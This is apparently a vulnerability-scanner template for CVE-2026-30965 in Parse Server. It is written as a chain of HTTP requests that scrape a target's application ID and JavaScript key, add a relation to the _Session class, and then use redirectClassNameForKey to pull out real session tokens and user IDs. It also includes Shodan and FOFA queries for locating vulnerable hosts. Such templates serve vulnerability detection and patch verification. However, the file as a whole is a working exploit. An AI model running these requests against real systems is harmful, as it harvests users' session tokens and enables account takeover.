Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration

id: CVE-2026-30965

info:
  name: Parse Server < 8.6.21 / 9.x < 9.5.2 - Session Token Exfiltration
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    Parse Server < 8.6.21 / 9.x < 9.5.2 contains an information disclosure vulnerability caused by improper handling of the redirectClassNameForKey query parameter, letting authenticated or unauthenticated attackers exfiltrate session tokens, exploit requires ability to create or update an object with a new relation field depending on Class-Level Permissions.
  impact: |
    Attackers can exfiltrate session tokens and take over user accounts, leading to account compromise.
  remediation: |
    Update to version 9.5.2-alpha.8 or 8.6.21 or later.
  reference:
    - https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30965
    - https://github.com/parse-community/parse-server/commit/70b7b070e1135949dd80ecf382f34db0bfdbb71e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.9
    cve-id: CVE-2026-30965
    epss-score: 0.01452
    epss-percentile: 0.73633
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 5
    vendor: parse-community
    product: parse-server
    shodan-query: '"X-Parse-Application-Id" OR http.html:"parseServerVersion"'
    fofa-query: 'body="parseServerVersion" || header="X-Parse-Application-Id"'
  tags: cve,cve2026,parse,parse-server,session-hijack,auth-bypass

variables:
  cn: "{{to_lower(rand_text_alpha(8))}}"

flow: (http(1) || http(2)) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET {{BaseURL}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: appid
        internal: true
        group: 1
        regex:
          - '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
          - 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
          - 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'

      - type: regex
        name: jskey
        internal: true
        group: 1
        regex:
          - '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
          - 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'

    matchers:
      - type: dsl
        dsl:
          - 'len(appid) > 0'
          - 'len(jskey) > 0'
        condition: and
        internal: true

  - raw:
      - |
        GET {{BaseURL}}/index.js HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: appid
        internal: true
        group: 1
        regex:
          - '(?:applicationId|appId|APP_ID|PARSE_APP_ID)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
          - 'Parse\.initialize\("([A-Za-z0-9]{20,})"'
          - 'X-Parse-Application-Id["\s:]+([A-Za-z0-9]{20,})'

      - type: regex
        name: jskey
        group: 1
        regex:
          - '(?:javascriptKey|javaScriptKey|jsKey|JS_KEY|PARSE_JS_KEY)\s*[=:,]\s*"([A-Za-z0-9]{20,})"'
          - 'Parse\.initialize\("[A-Za-z0-9]+"\s*,\s*"([A-Za-z0-9]{20,})"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'len(appid) > 0'
          - 'len(jskey) > 0'
        condition: and
        internal: true

  - raw:
      - |
        GET {{BaseURL}}/parse/health HTTP/1.1
        Host: {{Hostname}}
        X-Parse-Application-Id: {{appid}}
        X-Parse-Javascript-Key: {{jskey}}

    matchers:
      - type: dsl
        internal: true
        condition: and
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ok")'

  - raw:
      - |
        POST {{BaseURL}}/parse/classes/{{cn}} HTTP/1.1
        Host: {{Hostname}}
        X-Parse-Application-Id: {{appid}}
        X-Parse-Javascript-Key: {{jskey}}
        Content-Type: application/json

        {"pivot":{"__op":"AddRelation","objects":[{"__type":"Pointer","className":"_Session","objectId":"{{cn}}"}]}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "objectId")'
        condition: and
        internal: true

  - raw:
      - |
        GET {{BaseURL}}/parse/classes/{{cn}}?redirectClassNameForKey=pivot&limit=3 HTTP/1.1
        Host: {{Hostname}}
        X-Parse-Application-Id: {{appid}}
        X-Parse-Javascript-Key: {{jskey}}

    extractors:
      - type: regex
        name: session_tokens
        group: 1
        regex:
          - '"sessionToken"\s*:\s*"(r:[a-f0-9]+)"'
      - type: regex
        name: user_ids
        group: 1
        regex:
          - '"user":{"__type":"Pointer","className":"_User","objectId":"([A-Za-z0-9]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "sessionToken", "results")'
        condition: and